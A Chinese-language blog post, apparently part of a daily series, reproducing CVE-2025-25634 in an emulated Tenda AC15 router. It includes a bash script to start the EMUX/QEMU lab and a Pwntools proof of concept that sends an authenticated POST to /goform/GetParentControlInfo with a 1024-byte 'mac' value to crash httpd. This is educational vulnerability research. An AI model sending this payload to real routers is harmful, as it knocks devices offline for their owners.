前言

昨天透過靜態分析確認 CVE-2025-25634 的 overflow 成因，今天進入動態環境進行測試，觀察不同長度輸入的崩潰行為，並分析 cfmd 的服務重啟機制。

0x01 測試環境

沿用 Day07 建立的 EMUX 環境：

docker start emux-ac15

但是因為會缺一些東西，這邊家了一些依賴的補齊

1. 啟動已經建好的 EMUX Docker container + EMUX launcher qemu-system-arm
2. SSH 進入 Guest 執行 AC15 的 run-init，建立韌體執行所需的環境並啟動 cfmd、httpd 等服務
3. 持續確認 TCP 80 port，直到 Web Server 顯示正常連線

大致script如下：

#!/usr/bin/env bash
set -e

CONTAINER="emux-ac15"
GUEST="192.168.100.2"
SSH_PORT="22222"

# Start Docker
docker start "$CONTAINER" >/dev/null

# Select AC15
printf '#!/bin/sh\nprintf "5\\n"\n' \
    > /home/kali/Downloads/emux/workspace/select-ac15
chmod +x /home/kali/Downloads/emux/workspace/select-ac15

# Start QEMU
if ! docker exec "$CONTAINER" pgrep -x qemu-system-arm >/dev/null; then
    docker exec -d \
        -e fundialog=/home/r0/workspace/select-ac15 \
        "$CONTAINER" /emux/run/launcher
fi

# Wait for guest
until docker exec "$CONTAINER" \
    nc -z -w1 "$GUEST" "$SSH_PORT" 2>/dev/null
do
    sleep 1
done

# Start AC15
docker exec "$CONTAINER" \
    ssh -p "$SSH_PORT" \
    -o StrictHostKeyChecking=no \
    root@"$GUEST" \
    'cd /emux/firmware/AC15 &&
     nohup ./run-init >/tmp/ac15-init.log 2>&1 </dev/null &'

# Wait for httpd
until docker exec "$CONTAINER" \
    nc -z -w1 "$GUEST" 80 2>/dev/null
do
    sleep 1
done

printf 'AC15 ready: http://%s/\n' "$GUEST"

0x02 POC

啟動docker環境後登入獲取cookie，透過Pwntools觸發POC，成功造成segmentation fault

from pwn import *

HOST = "192.168.100.2"
PORT = 80

COOKIE = "password=<SNIP>"
LENGTH = 1024

payload = b"A" * LENGTH
body = b"mac=" + payload

request = (
    b"POST /goform/GetParentControlInfo HTTP/1.1\r\n"
    b"Host: " + HOST.encode() + b"\r\n"
    b"Cookie: " + COOKIE.encode() + b"\r\n"
    b"Content-Type: application/x-www-form-urlencoded\r\n"
    b"Content-Length: " + str(len(body)).encode() + b"\r\n"
    b"Connection: close\r\n"
    b"\r\n"
    + body
)

io = remote(HOST, PORT)

io.send(request)

try:
    response = io.recvall(timeout=5)
    print(response.decode(errors="replace"))
except EOFError:
    log.warning("Connection closed by httpd")

io.close()

<TBC pwndbg 圖片待截圖補齊>

Ref

1. https://github.com/Pr0b1em/IoT/blob/master/TendaAC15v15.03.05.19GetParentControlInfo.md
2. https://nvd.nist.gov/vuln/detail/CVE-2025-25634